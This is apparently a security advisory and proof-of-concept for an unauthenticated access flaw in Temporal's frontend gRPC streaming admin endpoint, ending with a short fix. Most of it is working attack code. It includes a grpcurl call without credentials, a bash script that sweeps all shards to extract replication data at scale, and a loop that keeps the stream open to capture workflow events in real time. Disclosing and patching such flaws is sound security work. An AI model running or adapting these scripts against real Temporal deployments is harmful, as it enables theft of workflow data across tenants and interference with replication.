
Proof-of-concept exploit for CVE-2026-5724, an authentication bypass in Temporal's frontend gRPC service allowing unauthenticated access to workflow replication data.
The Temporal frontend service does not enforce authentication on streaming gRPC RPCs. The streaming interceptor chain omits the authorization interceptor, allowing unauthenticated callers to access AdminService/StreamWorkflowReplicationMessages, a privileged admin-only endpoint that streams workflow replication data across all namespaces.
The frontend gRPC server at service/frontend/fx.go configures two interceptor chains. The streaming chain only includes telemetryInterceptor.StreamIntercept for metrics and no auth:
The authorization.Interceptor type only implements a unary interceptor method (Intercept). No streaming equivalent exists. The frontend's only streaming RPC is AdminService/StreamWorkflowReplicationMessages, which according to https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 should require {Scope: ScopeCluster, Access: AccessAdmin}. The streaming call reaches the handler at admin_handler.go:1904 with no authorization, where it proxies directly to the internal history service's replication endpoint.
Take a Temporal deployment exposing the frontend gRPC API.
Call the streaming AdminService RPC without any credentials:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# Stream connects. Server responds with replication state including
# exclusiveHighWatermark per shard. During active replication, the
# response contains serialized workflow history events:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
To iterate all shards and extract data at scale:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=active, 2=failover
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
To hold the stream open persistently and capture replication events in real-time:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
An attacker with access to the frontend can read workflow replication data across all namespaces and tenants — workflow IDs, run IDs, history events, activity payloads without any credentials. The attacker can also interfere with cross-datacenter replication by sending SyncReplicationState messages, and gains a bridge to the internal history service which is normally never exposed externally.
Implement a StreamServerInterceptor on authorization.Interceptor and add it to the streaming chain at service/frontend/fx.go:292-296:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // enforce auth on streaming RPCs
}